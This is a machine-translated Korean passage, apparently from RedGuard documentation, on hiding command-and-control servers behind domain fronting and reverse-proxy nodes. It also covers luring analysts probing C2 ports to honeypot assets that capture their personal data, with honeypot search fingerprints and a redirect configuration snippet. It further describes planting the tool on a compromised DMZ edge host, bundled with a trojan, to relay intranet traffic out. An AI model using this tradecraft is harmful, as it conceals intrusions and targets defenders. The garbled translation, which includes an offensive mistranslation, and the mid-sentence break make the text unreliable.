RedGuard는 도메인 프론팅을 지원합니다. 제 생각에는 프레젠테이션에는 두 가지 형태가 있습니다. 하나는 사이트 전체 가속 백투원본 주소에 역방향 프록시 포트를 설정하여 달성할 수 있는 전통적인 도메인 프론팅 방법을 사용하는 것입니다. 기본적으로 도메인 프론팅에 트래픽 제어 기능이 추가되고, 설정한 설정에 따라 지정된 URL로 리다이렉트가 가능해 더욱 실감나게 보이도록 할 수 있습니다. HTTPS 호스트 헤더의 레드 가드 설정은 사이트 전체 가속도의 도메인 이름과 일치해야합니다.
단일 전투에서는 위의 방법을 사용할 수 있으며 팀 작업에서는 자체 제작 된 "도메인 프론팅"으로도 달성 할 수 있습니다.
자체 제작 도메인 프론팅에서 여러 리버스 프록시 포트를 일관성있게 유지하고 호스트 헤더는 백엔드의 실제 C2 서버 청취 포트를 지속적으로 가리 킵니다. 이러한 방식으로 실제 C2 서버는 잘 숨겨 질 수 있으며 리버스 프록시 서버는 방화벽을 구성하여 프록시 포트 만 열 수 있습니다.
이는 여러 노드 서버를 통해 달성 할 수 있으며 CS 리스너 HTTPS Online IP의 노드의 여러 IP를 구성합니다.
악의적 인 허니 팟 트래핑의 원리는 주로 RG 트래픽 안내의 납치 응답 또는 리디렉션 기능에 의존하며, 이는 C2 시설을 평가하는 분석가들을 Honeypot 샌드 박스 주소로 안내합니다. 납치 응답 상태에서 RG는 Honeypot 자산에 대한 인바운드 규칙을 충족하지 않는 요청 트래픽을 직접 지시합니다. 더 강력한 허니 팟 (예 : 운영자 휴대 전화 번호를 포착하는 것)을 만나면 클라이언트는 대상 사이트의 응답에 따라 요청을 시작하고 JSONP가 납치하여 관련 정보를 얻습니다.
분석가가 C2 온라인 포트에 직접 액세스 할 때 Honeypot 자산으로 향할 것이라고 상상해보십시오. 분석가들은 Honeypot 자산을 요청하도록 악의적으로 지시를 받고 Honeypot Monitoring End는 Blue Team Analysts의 관련 정보를 캡처하고 오류를 추적합니다. 분석 목표가 처음부터 잘못된 경우 어떻게 좋은 결과를 얻을 수 있습니까? 이것은 의심 할 여지없이 방어 팀에게 심각한 내부 마찰을 일으킬 것입니다.
다음은 Honeypot 자산과 관련된 Zaomeye 지문 세트입니다.
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
이 효과를 달성하는 방법은 매우 간단합니다. RG 구성 파일의 관련 키 값 만 변경하면됩니다.
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.com추신 : 나는 모든 사람들이 설명없이 구성하는 방법을 알고 있다고 생각합니다. :)
이 방법은 일종의 교활한 속임수이며 아이디어에 더 반영됩니다. 더 활용되면 Honeypot Capture 기능을 C2 프론트 엔드 교통 관제 시설에 배치 한 다음 대화식 트래픽을 지시 할 수 있습니다. 그 효과는 클라이언트의 브라우저 캐시 데이터를 전통적인 허니 포트처럼 얻을 수 있다는 것입니다. 그러나 나는 개인적으로 공개 버전에서는 현재의 공격과 방어 대결에 적용하는 것이 의미가 없다고 생각합니다. 공격자가 블루 팀 분석가의 소셜 정보를 포착 한 다음 추적하는 것은 의미가 없습니다. 물론 한 걸음 물러서서 C2 샘플의 분석이 더 위험해질 수 있습니다. 흑인과 회색 산업의 공격자가 분석가의 가상 정체성을 얻을 수있을 때, 가상 및 실제 정체성을 변환 할 수 있다면 여전히 비교적 위험합니다. 그래서 나는 미래의 연구와 분석이 더 조심스럽고 경계해야한다고 생각합니다.
공격 및 방어 대립 시나리오에서 대부분의 단위 네트워크는 여전히 국경 기반 방어입니다. 여기서는 DMZ 영역의 외부 서버가 일반 비즈니스 환경에서 관련 액세스 정책으로 구성되는 시나리오를 고려합니다. 이 시점에서 Edge의 외부 서버가 네트워크에 액세스 할 수 있지만 인트라넷 호스트에 직접 액세스 할 수없는 경우 인트라넷의 PC 또는 관련 서버는 공개 네트워크에 직접 액세스하지 못하지만 DMZ 영역의 비즈니스 서버에 액세스 할 수 있습니다. 그런 다음 Edge 노드의 호스트를 RG 노드로 사용하여 인트라넷 온라인 트래픽을 C2 시설로 전송할 수 있습니다. 온라인으로 기존 프록시 전송과 매우 유사하게 들리나요? 그러나 이것은 기술 구현의 형태 일뿐입니다. 더 많은 팁을 계속 살펴 보겠습니다.
관리 프로세스 중에 에지 호스트를 중단하면 쉘 권한을 인수했다고 가정 할 때이 서버에 RG를 프론트 엔드 노드로 배포합니다 (실제 시나리오에서는 구성 파일이 프로그램에서 하드 코딩되어 있습니다. 그리고 트로이 목마와 RG조차도 같은 프로그램으로 결합되어 있습니다) .
구성 파일은 다음과 같습니다.
특정 구성의 경우 주로 화살표에 중점을 둡니다. 위의 화살표 1은 인트라넷 호스트와 에지 노드 사이의 상호 작용의 호스트 도메인 이름입니다 . 대상 단위의 특정 시나리오에 따라 관련 인트라넷 도메인 이름을 설정하는 것이 좋습니다. 인트라넷에서 인트라넷 도메인 이름에 대한 두 호스트 간의 트래픽 상호 작용을 상상해보십시오. BT는 대화식 트래픽을 직접 차단할 용기가 있습니까? 물론, 그들이 악의적 인 대화식 트래픽이라고 판단 할 수 있다면. 화살표 2는 기존 도메인 프론트 엔드의 설정을 가리 킵니다 . 이 키 값 쌍의 키는 온라인 호스트에 해당하고 값은 프록시 주소에 해당합니다. 여기서는 동일한 CDN 제조업체를 사용하여 HTTPS 도메인 이름으로 설정할 수 있습니다 (CDN 노드 IP도 괜찮습니다. HTTP를 가져 오십시오 : // 프로토콜).
EdgeHost는 클라우드 서비스 제공 업체의 도메인 프론트 엔드에서 사용하는 도메인 이름이며, CDN 노드를 통해 C2와 상호 작용할 때 RG Edge 노드에서 사용하는 도메인 이름이기도합니다. 예, RG는 합법적 인 요청의 호스트 도메인 이름을 수정하여 정상적으로 통신 할 수있는 클라우드 서비스 CDN 도메인 이름으로 수정합니다.
edgetAgge는 인트라넷 상호 작용의 도메인 이름이며 화살표 1과 동일해야합니다. 호스트가 설정 한 도메인 이름으로 요청한 트래픽 만 합법적 인 것으로 간주되며 RG는 클라우드 서비스 CDN 도메인 이름으로 더 수정됩니다. 의사소통.
여기서 우리는 다음을 요약합니다.
즉, 인트라넷의 에지 노드와 호스트 사이의 상호 작용은 세트 인트라넷 도메인 이름을 통한 것입니다. 뭐
